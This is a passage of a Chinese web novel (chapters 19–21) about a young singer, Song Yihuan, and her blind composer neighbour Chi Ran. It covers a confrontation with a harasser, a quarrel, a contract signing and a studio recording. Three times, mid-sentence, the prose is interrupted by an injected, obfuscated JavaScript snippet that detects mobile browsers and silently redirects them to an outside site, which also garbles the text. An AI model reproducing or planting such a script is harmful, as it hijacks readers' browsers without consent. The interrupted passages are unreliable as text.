“你们要卖歌,我同意了。你们要允许他改,我也同意了,还要我怎么样?还冷静?我怎么冷静?”迟燃压着火问,“你要么把我捆成麻花扭送到周庭面前拉倒。” “你别抬杠。”颖姐无语地说,“就是去签个合同,谁要绑你。” “我不见周庭。”迟燃冷淡道,“我要是那么喜欢见周庭,就不会跟他解约跟你们签。” 颖姐苦口婆心地劝着:“又没让你们见面约会,就签个合同三分钟…” 隔壁门响一声,颖姐接下来的话他都没听进去。 “嗯!那到时候微信找我。”是个年轻男人的声音,正从隔壁往外走。 “行啊,差不多下周三吧。”宋呓欢笑得很开心,“你空吗?” 19. 第 19 章 第五次尝试,也以失败告终。 宋呓欢认认真真地做过功课,严格参照从轻到重,从手指到嗯嗯的步骤,但还是失败。 手指能感受到温暖与潮湿,接下来能感觉到又硬又硌,再没有其他感受。 触碰就是触碰,振动就是振动,硌就是硌。没有像人家说的直冲天灵盖、背脊都颤栗等等感受。 她心无旁骛地以学习高中物理的精气神反复试验,最终还是没找到什么趣味,悻悻放弃。 事实证明,这也是门学问,可惜没人教。 她轻手轻脚地走出去,将粉色硅胶制品清洗干净,塞回抽屉里。 抽屉正中摆着粉色物品,乍一看像大笑露舌的嘴巴,嘲弄地写着四个大字:下次再来。 她啪地合上抽屉,心情差到顶点。 后半夜没睡好,她半梦半醒间梦到迟燃。大概是睡前的操作延续到梦里,再没有前几次梦里那么美妙,这次整个过程都生涩怪异。 没什么愉悦感。 第二天早上,果果出门去打胸腺五肽,宋呓欢本来说陪她一起,但连闹钟都忘了定。 她被极其大力的砸门声敲醒。 按理说这个时间不会有人找来,但她半梦半醒间没想那么多,就以为是果果点了个外卖,外卖小哥脾气有点差。 谁知推开门,竟然是王亚帅。 他怒气冲冲地拽着门,想挤进屋里。宋呓欢几乎立马清醒,抬脚就踹在他小腹上。将人踹出去后,她重心不稳踏出房间。 眼见着王亚帅又要冲过来,她来不及回到屋子里,只来得及反手推上门。 走廊有监控,比房间内安全。 “可算让我找着你了!”王亚帅快步冲过来,攥住她肩膀,“你敢耍老子??” 宋呓欢被他推得撞在防盗门上,一声闷响。 时隔五年,这是她第一次近距离地端详王亚帅。实在太近,她甚至能看见他门牙上泛黄的牙垢。 王亚帅初中的时候是校草,暗恋她的女生非常多。那时候,他抽条的四肢透着少年人特有的轻盈力量感。他很白、单眼皮,连打球的时候都不会出太多汗,从头到脚都很干净的一个少年。 而此刻,他从头到脚,连嘴巴都不干净。 “婊子你要不要脸啊!!”王亚帅的口气喷在她脸上,“你在群里发的是什么东西?我警告你,你赶紧给我澄清!!” 宋呓欢抽手,抱着胳膊反问:“不是你先在群里造谣吗?” “造谣?我造什么谣??”他说,“聊得好好的就放我鸽子,我还不能找你吗?” “你在群里一口一句老婆,是以什么身份找我?”宋呓欢反问,“约我去酒店之前,你对我们的关系下过半句定义吗?” “什么玩意?”王亚帅问。 聊得非常上头时,宋呓欢试探性地问过他,我们是什么关系。 他模棱两可地说,你是我宝宝。 宋呓欢说:“那时候不论我怎么明示暗示,你都没跟我确认什么关系吧?那怎么我一拒绝你,你开始满世界地喊我老婆?这脏水你怎么不往别人身泼呢?” 王亚帅张着嘴愣神,牙垢像沙土似的堆在牙齿下面。 宋呓欢默默后退,离他远点,生怕他呼吸气流再大点,将牙垢吹到她身上。 “不是…你是因为这个?你是不是以为我我不喜欢你,”王亚帅毫无由来地咧嘴笑起来,“跟我闹别扭啊。” ? 喜你个头。 宋呓欢不知自己是被吹来的风沙熏晕,还是被他这句话震惊,生生愣住了。 “你看你,你生气就告诉我,我还能不哄你吗?早说我们就不用闹到这个份上。”王亚帅继续说,“我当然喜欢你,不喜欢干嘛和你聊这么久?” 宋呓欢此刻的讶异,不亚于瞎子喊她小粉,有过之无不及。 “…” 语言都显得浅薄无力。 “你们女人就是爱闹。”王亚帅也没管她,三两句把自己哄好,“我这一来,误会也解释清楚了吧。” 宋呓欢眯眼看着他表演。 王亚帅松开她胳膊,顺手拍两下,“行了行了,不生气了啊。你家里烧热水没,我这两天都在小区外等你,又是汗又是土,身上实在难受,你让我进去洗个澡。” “洗澡啊?”宋呓欢眨眨眼,“然后呢?” “这大庭广众的呢。”王亚帅抬手在油头上抓两下,大概是在表示羞涩。 “进房间就只有我们俩了。”宋呓欢盯着他说。 “你先让我洗个澡,我好好哄哄你。”他在门上点两下,催促她开门,“我们俩误会解释清,你也去班群里发个消息,跟大伙说一声。就说我们是吵架呢,让他们别看热闹了。” “吵架?”她问。 “这帮人也真是闲得没蛋事,情侣吵架他们瞎几把看热闹。你抓紧解释,解释完我们再办事…开啊,怎么不开?”王亚帅见她没动作,催促道。 “办事?”宋呓欢问。 “哦对,你家没套吧?”王亚帅一拍脑袋,“我套放酒店没带来…待会我洗澡之前叫个跑腿吧,你先开门。” 宋呓欢点点头,微笑着看他,“真让我开门?” “别磨磨蹭蹭的!”王亚帅双唇一碰,啧了一声,“老子身上黏得怪难受的,抓紧!” 宋呓欢看他两眼,才说:“行,那我开门…” 哐当! 隔壁的大门猛地被推开。 宋呓欢吓一跳,扭头看过去。 “我操…”王亚帅惊魂未定地拍着胸脯,声音却不大,只有她能听见,“你这邻居…有毛病吧?” “过来。” 迟燃不轻不重地说。 “他叫谁呢?…哎!婊子你去哪??” 王亚帅回个头的功夫,宋呓欢已经小跑到他旁边,躲在身后探出头来,双手搭着他的腰。 宋呓欢本来就不慌,见迟燃出来更加不慌,还有空分神想点别的。 他身材摸起来和看起来一样好,腰腹放松的情况下也只能摸到劲瘦的肌肉。 王亚帅上前两步,但显然已经被重重的开门声震住,底气有些不足:“嘶,我跟我老婆的事,你别多管闲事啊。” “谁是你老婆?”迟燃冷脸道。 就是就是。 宋呓欢悄悄摸着迟燃的腰。迟燃微微侧头,右手捉住她两只手,叠在一起攥在身后。 迟燃脸本来就臭,戴着墨镜显得更臭更傲,王亚帅一时都没说出什么来。 反应两秒后,他忽然生出被戴绿帽子的怒意,飞快地冲过来,老鹰抓小鸡似的,伸手去掏她—— “婊子!你有男人还敢耍老子??你滚出来,老子好好跟你说道说道…” 没等他走过来,迟燃仅剩的左手从脚边摸出个黑色细长雨伞,伸平了,用伞尖对着他一戳。 “草!!”王亚帅呲牙咧嘴地痛呼。 迟燃这一下戳得又准又狠,至少会青紫。他握着伞把,脸甚至没朝向他,有些倨傲地抬着下巴。 戳一下还不够,他斟酌着方向,又对着蹲下来的王亚帅精准补几下,跟要把他当烤串肉穿在伞上似的。 他动作非常连贯,戳人跟出剑似的优美,光看动作根本想象不到他视力障碍。 王亚帅被戳得脚蹬地后退,极其狼狈。 移动中方向不好掌握,宋呓欢还拿下巴顶顶迟燃的左手,调整伞尖的方向,让他戳准点。 王亚帅边后退边张牙舞爪地骂:“老子用过的烂货你还要!!你别过来——” 迟燃身形一顿,接着猛地冲出去,宋呓欢一时竟没拉住他。 在后方观望的钱宇反应极快,一把拽住他,眼疾手快地关上门,将那些辱骂隔绝在外。 钱宇拉着迟燃远离门口,远离门外的动静。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236674|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燃哥,瞎子打架像话吗?”钱宇吐槽道,“物业已经派保安来赶人了。” “嗯。”迟燃胸口猛烈起伏,哼出这个字。 跟迟燃隔着楚河汉界坐在沙发上时,宋呓欢深刻地意识到他在生气。 他手攥着拳,跟要拧了谁的脖子似的。 …非常生气。 宋呓欢不理解他在气什么,毕竟被戳得嗷嗷叫的又不是他。 她嘿嘿笑一声,夸道:“厉害,戳那么准。” “那人身上有股臭味。”迟燃冷声道,“看不见还闻不见吗?” 宋呓欢莫名觉得自己被怼了,但又不知道他在怼什么。 她瞥一眼钱宇。 钱宇正拿着长得像扇子的扫把弯腰扫地,满地狼藉。看样子是摔了个杯子之类的玻璃制品,大大小小的碎片散落在地上,还有几滩水。 宋呓欢迅速找到下个话题,“什么东西碎了?” 迟燃没理。 “不知道,谁的心吧。”钱宇飞快地答,答完还唱起来,“是谁的心啊~~孤单地留…” “自己人。”宋呓欢求他闭嘴。 “燃哥跟个猫似的,听到你跟那臭哥的动静之后嗖地就窜出去,碰倒一堆东西。”钱宇指着地上的碎片,“这是花瓶,那是他房间桌面上摆着的杯子…” “闭嘴。”迟燃忍不住低声说。 宋呓欢嘿嘿一笑:“谢谢你救我啊。” 迟燃:“你也闭嘴。” 宋呓欢短暂地闭了一会,继续追问:“你怎么这么生气啊?是为上回签合同那事吗?” 她看看手机,今天周四,按计划他应该是明天去签合同。 “你明天要去跟那个欺负人的周什么玩意签合同吗?”宋呓欢问,“你是因为这个心情不好吧。” “他去什么去。”钱宇怨念地抠着扫把,“他一年半没出过门,他不可能去签合同。” 迟燃没说话。 宋呓欢问钱宇:“他签不签合同的,你怎么这么大意见?” “颖姐让我明天捆也把他捆过去,不然扣我工资啊!!”钱宇埋头愤怒扫地,“一天天的,除非健身门都不出…” “不出门健什么身?”宋呓欢说。 “就是啊!”钱宇用扫帚猛刮地板,“也不管我们打工人的死活…我真是…” “你差不多行了。”迟燃还在生气,说话都给人压着火的感觉。 宋呓欢看他一会,厚着脸皮挪到他旁边坐着,拍拍他手胳膊,“不想去就不去,干嘛生这么大气?” 迟燃躲开她的手,左手一挑将墨镜摘下来,往远处一丢。 “丢丢丢!下次找不见别喊我!!”钱宇委屈巴巴地喊。 他猛地攥住她的手,扯着她朝卧室的方向走,她被拽得一个趔趄,差点摔在他背上。 他步子迈得很大很快,她都怕他撞在墙上。 好在他没撞墙,将她拽进卧室,还熟练地反手摸到门,用力一推,将门摔上。 他的卧室,宋呓欢来过很多次,但此前门都大开着,这是第一次关上门。 关门的瞬间,开放空间变为封闭空间,她猛然有种憋闷感与不安感。 她才意识到,之前迟燃教她弹琴是故意开着门。也意识到,迟燃现在在生的气…好像和她有关。 “你在生我气?”宋呓欢想也没想就问出来。 “宋呓欢你是疯了吗?”他嗓音甚至有些沙哑,额角的青筋若隐若现。 “解释。”他说,“刚刚那个男人,还有昨天来的另个男人,他上周也来过…” “昨天?上周?那是哪个…” 宋呓欢回想片刻,另个男人指代的是那个修空调的小哥。 迟燃带着无法压抑的愤怒:“我刚刚要是不叫你,你打算跟他干什么??” “宋呓欢。” “你是疯了吗?” “…还是我疯了。” 20. 第 20 章 “你是疯了吗?” 宋呓欢被他莫名的指控说得一愣,她有些迷茫地重复:“我?” 迟燃显然将她的反问理解为挑衅,捏着他的手狠狠一紧。 “你生日那天那样说,我还以为你只是心情不好随口胡诌…”迟燃恶狠狠道,“我不答应,你就随便领着两个男人回家。你到底想干什么?” 宋呓欢手腕生疼:“嘶。” 她总算意识到,迟燃这是误会了什么。 刚刚王亚帅在门口满口都是“办事”、“套”还有“睡”,她又任人摆布似的要给他开门…他显然是误会她要答应他,顺带着也把上周和昨天来修空调的好心小哥一并误会进去。 迟燃根本不知道,他刚才及时开门,救的是王亚帅,而不是她。 王亚帅在群里造她的黄谣,还闹到王女士那里,宋呓欢在跟他对峙时就想好要如何报复他:她要送他下半辈子的噩梦。 开门让他看见满屋子的化疗药和止痛药,附带个早晚来找你的可怖约定,按他的胆色不被吓跑才怪。 至于修空调的小哥…人家明明穿着火红带Logo的Polo衫制服,怎么看… …他还真是,吃了看不见的亏啊。 宋呓欢没有澄清误会的打算,她将手抽回来,将计就计,淡淡反问:“我干什么,干谁,关你什么事?” 迟燃被她粗暴的用词问得一愣,继而更加愤怒:“你认识他们吗就往家里带??你知道世界上有个东西叫传染四项报告吗?检查过吗你就敢…就敢这么乱来?” “我想睡你,你不肯,我就只能找别人,这有什么问题?”宋呓欢仰脸看他,“这是我的自由。” 仿佛听到什么荒诞理论似的,迟燃眉毛拧在一起,反问:“自由?你跟我说这是自由?” “小朋友,你知道自己在说什么吗?你真以为放纵欲望就是所谓的自由了?”他语气忽然沉下来,凝重且认真,“我送你须尽欢三个字…并不是这个意思。这个时代很坏,它教我们合理化欲望,但不教我们辨别欲望。你以为在陌生人的怀里感受快乐的瞬间是自由,以为满足当下此刻的欲望是自由,可你从没看到过你所谓快乐与欲望背后的代价。” 宋呓欢收起戏谑的表情,怔怔地看着他。 “小朋友,不看清代价就盲目跃入欢乐场,那叫自毁,不叫自由。”他如是说。 宋呓欢原本想说,不让我睡他们,那我能睡你吗?可他严肃且真挚地跟她说这些,她一时没说出口,这些话生生地堵在胸口。 看吧,在那些尖刺下,迟燃真的是个很好、很好的人。她此刻最不需要的,就是很好的人。 多可恨,多可恶。 宋呓欢摇摇头,将动摇的念头晃出去,贴近一步:“那你呢?你的代价是什么?我付得起吗?” 迟燃冷哼一声,后退半步,显然没想到自己的肺腑之言换来这么个反应。 “你不想我跟他们乱来,那你就答应我。”她咬着牙挑衅道,“不然我肯定还会再约。” “这个世界上最愚蠢的事,就是拿自己来威胁别人。”迟燃不耐烦道,“你觉得你能威胁谁?” 宋呓欢:“你。” 迟燃一愣,没有反驳。 “明天我陪你去吧?签合同。”她说。 迟燃冷声说:“我不去。” 宋呓欢歪头轻笑:“你会去。” 因为这个世界上就没有比你更嘴硬心软的人。 嘴上说不让将歌卖给周庭,但最终还是同意。嘴上说不再见她,但总还是会再见。迟燃永远心软。 苦难残忍地将这个傲慢的少年天才重塑,打碎他精美华丽的外壳,让碎片参差不齐地长成尖刺,却又赐予他过于柔软的内核。 这该死的苦难。 见他再次沉默,宋呓欢歪头问:“你刚才说的传染四项…” “干什么?”迟燃警惕地抬头。 “明天签完合同之后,要一起去做吗?” / 四月的天总是清澈,生机自湛蓝天空毫不吝啬地被向下抛洒,连风里都载着春意。 公司离小区步行不过二十分钟,但迟燃没法走那么远,只好由钱宇开车出行。 宋呓欢也坐在后座,迟燃将虚无的目光撇向窗外的春色,用后脑勺对着她。 正值早高峰,路上堵得不像话,车内的氛围凝重得不像话。 钱宇没话找话:“宋神,你会开车吗?” “二十分钟的路也要换着开吗?”迟燃面朝窗户,不咸不淡地说。 钱宇被他噎得叹口气。 我没惹啊哥。 宋呓欢没理会迟燃的态度,笑眯眯地回答钱宇的话:“我有驾照,高考完就去学车来着,但不会开。” “哦对,你才刚高考完两年啊。”钱宇继续问,“你学什么专业来着?” “我就读到高中。”宋呓欢说。 “这样啊。”钱宇说错话似的闭上嘴。 宋呓欢笑着说:“考得不怎么好,就没去上学。我高中毕业当过一段时间小偶像,后来才开始发视频当唱见。” 这话半真半假,考得不好是真,但没去上学倒不是因为这个,是去治病来着。 “年纪那么小就知道自己要做什么,比我强多了。”钱宇感叹,“我大学沉迷梦幻西游,钓仙桃整整荒废四年。” 宋呓欢好奇地问:“你们都是哪所学校的?” 钱宇乐呵呵:“我是SX职业技术学校,学前教育专业的。” 宋呓欢转头去看迟燃,可他没有理她的意思,整个人背对远离她,恨不得贴在那一侧的车门上。 钱宇转头从善如流地代言:“燃哥央音保送,还是他们那届系草呢。” 他聊得太投入,没看见信号灯变绿,后面堵久烦躁的车猛按喇叭。刺耳鸣笛从四面八方扎过来,钱宇手忙脚乱地发动车子。 “你不看灯,指望我替你看吗?”迟燃淡淡道。 后半程钱宇默默闭麦,没敢继续聊。 宋呓欢能感受到迟燃心情差到顶点,说话跟植物大战僵尸里那个仙人掌似的,张嘴就是吐刺。他心情差肯定跟即将要见到周庭脱不了关系,但除此之外,肯定也有她昨天“威胁”的功劳。 下车后,迟燃照例将手往钱宇身上一搭,另手插兜,戴着墨镜往公司里走。 “周庭在楼上等着了。”颖姐急匆匆地来迎他,“讲话别那么难听,别让文哥太难做。” 迟燃没理,干脆装哑巴。 颖姐按下电梯,才注意到跟在最后的宋呓欢,她问:“这小姑娘是…?” 没等宋呓欢开口,迟燃就说:“不认识。” 颖姐多少习惯他这个脾气,笑着反问:“那还跟着你?” “变态。”他说。 你才变态。 宋呓欢没跟他一般见识,笑眯眯地打招呼:“您是颖姐吧?之前经常听迟老师提起您。我是他邻居,您叫我梦梦就行。” “邻居啊。”颖姐人精似的,也没继续问,“哎,我怎么看你这么眼熟呢?” “我是个唱见。”宋呓欢边走边翻出账号给她看,“叫我不说梦话。” “我说呢。”颖姐笑笑,“你去年年底上过那档以歌会友的音综吧?我也在现场带艺人。” “缘分啊,颖姐。” 她笑声乖巧,全然不见昨天威胁他时那副小恶魔嘴脸。 迟燃捏着钱宇的肩膀越走越快,将那道刻意装乖的声音抛在身后。 “哟,小天才!” 没走几步,便迎面撞上另一道令人作呕的粗粝嗓音。 周庭踱步迎上来,不急不慢。他面部肌肉走向整体向下,但大约是做多了医美的缘故,颧骨和额头倒是以一种诡异的频率上扬。 “小天才,我们得好几年没见了吧?我定了楼下海鲜酒楼,待会咱叙叙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248322|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧去。” 阵阵恶心自胃部升腾而起,痉挛着攀到喉管。他努力做出吞咽的动作,咽下呕吐的冲动。 颖姐快步追上来,打圆场:“周总,先办正事,签完合同有的是时间叙旧呢。” “哟,不好意思,我们这法务不怎么会办事。”周庭瞥一眼身后站姿乖巧的小眼镜,半真半假地骂:“磨蹭什么?掏合同啊,这儿都等你呢。慢慢掏,时间很不宝贵。” 小眼镜慌忙推推眼镜,抬起一侧膝盖驾着包,伸手在公文包里掏来掏去,摇摇晃晃,非常狼狈。 “周总这是说哪的话?”颖姐赔笑,“我们这小公司都混日子,周总才时间宝贵。” 颖姐看他这指桑骂槐的架势,也知道今晚这顿饭高低得吃。迟燃闭嘴忍到现在,估计得憋得跟个河豚似的了,再让他陪着吃饭,那真得爆炸。 周庭还要继续说什么,却瞥见个粉头发的漂亮小姑娘,探头探脑地蹦进来。 “这是…”周庭一愣,“颖姐,你家妹妹长这么大了?” “不是,我女儿还上高中呢。这是…亲戚家孩子。”颖姐留了个心眼,补充,“不是我家的,今天来录音的老师带来的。” “叔叔好!”宋呓欢扬声说,说着还给他举个躬。 三个字掷地有声地砸在颖姐心坎上,吓得她心一颤。周庭这人老不要脸爱装嫩,最恨人家把他叫老,她家女儿来都得管他叫哥。 迟燃轻咳一声,侧过头拿拇指挡着嘴角。 颖姐轻轻叹口气,这祖宗果然是迟祖宗派来惹事的。 她早早撇清关系的操作,实在是敏锐又英明啊,活该她年年当选王牌经纪人。 周庭被她这句亮堂堂的叔叔叫得傻眼,半天才说:“你这…读大学了吧?这叫的,都差辈了。” “叔我二十。”宋呓欢大大方方地说。 迟燃低着头把嘴藏在钱宇身后,忍笑忍得发抖。 “你二十…你二十叔什么叔。”周庭脸上已经挂不住,可也没好意思立马跟个小姑娘发作,他循循善诱,“你也就比我老婆小两岁呢,叫哥就行。” 宋呓欢总算没再叫叔,她说:“小阿姨才二十二啊?那你多大呀。” “小阿姨”三个字一出,周庭脸色又黑不少,没回年纪而是报个年份:“我81年的。” “叔你比我爸都大。” 周庭不想再多跟她废话,伸腿在小眼睛屁股上踹一脚:“拿合同!!” 签合同期间,宋呓欢张口闭口都是叔叔,周庭每次想说点什么,都得被她噎回去。 “叔,你公司是不是挺大啊?” “叔,小阿姨是不是长得特好看?” “叔,你跟小阿姨是最萌年龄差哎!” …… 迟燃签字的时候咬牙攥拳,连笔都在抖,颖姐看不下去还悄悄掐他,让他忍一忍。 直到合同签完,周庭都没再提半嘴晚上吃饭的事,显然没剩下什么吃饭的心情,只想去再补两针乔雅登。 颖姐客客气气地将人送出去后,迟燃憋着的那口气悄悄松下来。 宋呓欢坐在会议室靠窗的椅子上,百叶窗的影子笼下来,酒红淡粉交替,她变成限定条纹款蒲绒绒,边界朦胧地晃着。 ——全然看不出刚才追着周庭喊叔叔的邪恶样子。 宋呓欢真是牙尖嘴利一姑娘,她若是在意什么,那字典里就没有算了二字,她会不折不挠地对抗下去。她要是在乎什么,那就不害怕全世界都知道她在乎。 她会不遗余力地对抗一切。 迟燃失明后学会的第一件事,就叫做不在乎。不在乎瞎,不在乎低谷,不在乎这个狗屁世界。 时间一长,他甚至难以分清自己是装的还是真的。 他后知后觉地意识到,自己并不是被粉色蒲绒绒的柔软吸引,甚至恰恰相反。 他是被锋利吸引。 那种锋利又较真的活法。 21. 第 21 章 签完合同,气走周庭老大爷,他们三个人一道往外走。 等电梯的时候,宋呓欢查了查附近的医院,犹豫着要不要跟迟燃说一声,挂号预约下传染四项的检查。 最后还是没说,毕竟钱宇还在呢。 她已经坦然认可自己流氓的身份,但这份认可仅支持她在已知她流氓的迟燃面前流氓,在一无所知的钱宇面前不能流氓。 电梯门一开,颖姐正好刚送完人上来。 “你先别走。”颖姐拉住迟燃,“你好不容易来一趟,去把Demo听完。录音师回回跟你线上沟通得多花半天时间,你来都来了,就让人家早点下班。” 迟燃点头说行。 宋呓欢明显感觉他松了口气,整个上午他都刻意跟她保持距离,生怕她单独跟他说点什么似的。 正好是午休时间,录音师不在,颖姐拿来三份盒饭给他们当午餐。 盒饭是品质很好的三荤一素,但总归比自家做的饭油腻一些,连炒青菜都泡在油里。 也不能硬吃,吃了可能会吐,吐了就还得费劲编个解释。 宋呓欢犹豫再三还是没吃菜,拿筷子蘸了几粒米,慢吞吞地咀嚼。 她这吃饭方式太作践粮食,颖姐盯着她看半天,终于忍不住问:“不合胃口吗?” 宋呓欢随口鬼扯:“早上吃撑了。” “对了,忘给你们拿水果了。”颖姐拿进来,“还有俩香蕉一个橘子,你仨吃什么?” 宋呓欢忙着干咽米饭,嘴巴糊住,没立马说出话来。 钱宇抢着说:“姐我要香蕉!最烦剥橘子,剥完指甲黄。” 颖姐扔给他个香蕉。 “你还得剥。”迟燃慢条斯理说,“我吃橘子。” 钱宇认命地接过橘子,脸皱成一团:“哥,我真没惹。” 迟燃礼貌地说:“谢谢马喽。” 宋呓欢嘿嘿笑了声,笑完惊觉自己是另一只马喽。 她小口小口啃着甜腻腻的香蕉,没啃完呢,录音师就午休回来。他跟迟燃打个招呼,就开始过Demo。 “这什么歌啊?”宋呓欢凑过去问钱宇,“还挺好听。” “燃哥给网游写的主题曲,小演员唱的。”钱宇报了个名字。 宋呓欢听过这人,她感叹:“哦豁,小帅哥啊,今天人来吗?” “不来。”迟燃坐在录音师旁边,头都没回地答。 尽管硬邦邦,但这是迟燃今天跟她说的第一句话,怎么不算关系缓和呢? “可惜。”她小声嘀咕。 那位唱Demo的明星的歌声跟他帅气外形比起来相差甚远,整首歌听起来像是素人唱的,一点都不帅。 “副歌太干,就算这首歌叫枯,也不能真唱得跟枯树杈似的吧?”迟燃点评,“当时是怎么给小帅过的?” “小…小帅经纪人说赶通告,再说这哥们最好就这样了,嗓子一累就更干。”录音师愁的慌,“我要么加点混响?” “再加?再加就是全损KTV音质。”迟燃拧眉。 “垫个和声?”录音师问,“我找个姑娘来一趟。” 录音师翻出排班表,又打电话联系和声歌手,打完摇摇头:“DDL之前就煊儿有空,她…行吗?” “能行吗?”迟燃叹口气,“这哥们唱歌干,煊儿嗓子紧,又干又紧的这是木乃伊之歌吗?” 录音师连忙说:“我再找人。” 颖姐忽然插话:“哎,梦梦!你能帮忙来下不?” 宋呓欢正小口小口地啃香蕉,用舌尖碾碎慢慢含化,被叫到的时候话都没说好:“森莫?” “嘿,这大舌头。”颖姐笑着说,“怎么还拆我台呢?” “没有没有。”宋呓欢咽下嘴里的香蕉,吐字清晰地回,“我能唱。” 录音师跟看到救命稻草似的扭头:“是歌手?唱过和声吗妹妹?” “网络歌手。”迟燃补充,网络两个字不轻不重,但总觉得他意有所指。 “哦。”录音师眼里的期待灭了一半,全是对修音的恐惧,“试试吧妹妹。” ?网络歌手怎么了? ?看不起谁呢?? 宋呓欢手一紧,手里剩下的半根香蕉瓤从皮里挤出来,变成了香蕉泥。 “来!” 一时上头的结果就是,宋呓欢连报酬都没问,人就已经在录音室里坐着。她戴上耳机,轻车熟路地调整耳返音量。 “这么熟练?”录音师的声音从耳机里传来,“妹妹,以前也棚录过啊。” 接着是迟燃的声音:“先多听几遍。” “一遍。”宋呓欢拽拽地说。 迟燃按照教她钢琴时的习惯来要求她,她莫名不爽。 她绝对音感且绝顶聪明哎,这种小破歌,别说和声,主唱加和声她都能一遍过。 她学不会钢琴是受神经毒素影响,手不好使,可她耳朵和脑袋都好着呢。 听过一遍之后,迟燃说:“那来吧。” 录音室和控制室之间有个长方形的透明玻璃,宋呓欢侧对玻璃,余光能看到录音师高高举着右手。 耳机里是录音师的声音:“妹妹,听不准节奏就看着我手来给。” “老师,你手放下。”宋呓欢扭头直勾勾地看着录音师,非常小气地说,“累着了待会怎么给网络歌手修音。” 网络两个字咬得非常重。 录音师把手放下,飞快关掉麦克风偷偷吐槽:“这小姑娘怎么一点亏不吃呢?” 吐槽完又打开麦克风,态度一百八十度好转,赔笑道:“没那意思…那咱们准备咯,三、二、一!” 录音师暗自瞄着燃哥的脸色,生怕他被惹恼。工作状态的燃哥人送外号苗疆少年,闭嘴则已,张嘴就是呸呸呸往外喷毒。 幸好,他燃哥看起来心情不错,懒散地靠着椅背,手指有一下没一下地打拍子,嘴角带着点笑意。 然而枯并不是一首能让人笑着听完的歌。 前奏以大量古筝独奏澄净清越,宛如被水波托举,轻摇慢晃,而清冽笛音融入瞬间,仿佛扎进剔透甘甜的峻岭流泉。 曲调哀婉柔和,间奏循着澄澈山泉汩汩流淌。清泠泉水叮咚作响,宛如滴漏记录分秒的流逝。明明是美,却满满当当地写着不长久。 奏的是泉,颂的是水,可每个音阶都诉说着枯涸。 宛如不谙世事的恋人牵手轻哼着五更调,却不知调子唱的是曲终人散,是不复相见。 小明星的音色偏薄,原本很适合这首歌中的少年感,可惜唱法实在干涩,从头苦到尾。没唱出副歌中泉水自丰盈至枯涸的反差感,那种时过境迁的遗憾与衰败。 透明玻璃那侧的粉发女孩坐在凳子上,穿着松散针织的乳白毛衣,在笛声戛然而止的瞬间,凑近哼唱。 “散漫幽泉映无我,桃花逐水绕啊绕…” “清漪荡涤入梦来,贪欢暮暮暮复朝…” “泠泠水,瑟瑟尘…” “无知无觉,细烹慢熬…” 少女清澈的嗓音如迎面泼来的甘洌泉水,叮叮咚咚汇入旋律,不带半分悲凉,反倒带着点缥缈与恣意。 她唱着飞溅的水珠,漂浮的叶舟,还有摇晃的月影。掬一捧泉水入口,清冽甘甜。连日落雨后,喷涌出的水花哗啦啦地淌下去。还有旱期石子落入泉眼,沉闷地扑通声… 她唱的既不是丰盈的开头,也不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261255|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枯涸的结局。 她唱的是存在。 “呀?”颖姐眼睛一亮,“好嗓子。” 录音师听得入迷,不想出声又不好得罪颖姐,飞快地比个拇指。 迟燃早已收敛笑意,沉默地侧耳听着。 “…烟波浩渺,把酒,同你,无话!” 宋呓欢没有完全按照迟燃写的和声来唱,尤其最后一句,原本的和声太过悲凉凄厉,她不喜欢。 她气声换弱声哼出高音,弱化宿命悲鸣的感受,反而擦去句号,留下未完待续四个大字。 直到歌曲结束,录音师停止收音许久,都没人再说第二句话。 “喂??在吗??”宋呓欢左等右等没声音,便探头对着玻璃挥手,“录音老师——!在吗?修音修完了吗??” “怎么这么记仇啊。”录音师打开麦克风,笑着吐槽,“我认错还不行。” 宋呓欢欢快地晃晃腿。 “第二段副歌最后两句飘了,补录这两句。”迟燃说。 录音师调回去放给她自己听。 录音棚里很热,宋呓欢一直用尽绷着腹部,虚汗溻湿后背。那两句唱的时候也觉得吃力,但光听耳返也不确定。 录音师一放,她立马能听出来飘。 “我出去喝点水。”她手背揩掉额角的汗珠,摘掉耳机起身往外走。 手刚摸到内里那道隔音门的把手上,门就被慢慢地推开。 迟燃握着瓶哇哈哈,跟头回吵架时那样,手伸平递进来,正好悬在她头顶。 宋呓欢啪地夺过来,“找架吵?” “瞎子送水。”他调侃,“我还以你会感动。” “呜呜呜。”她敷衍地给他哭一个。 迟燃握着隔音门的把手,侧头说:“补录这两句,我想在里面听。” 宋呓欢想说听就听呗,后来才反应过来,他这是祈使句,不是陈述句。 “行。” 她说完之后,迟燃从外到内关上两道隔音门。关了门她才意识到这个棚挺狭窄,塞进两个人就有些挤了。 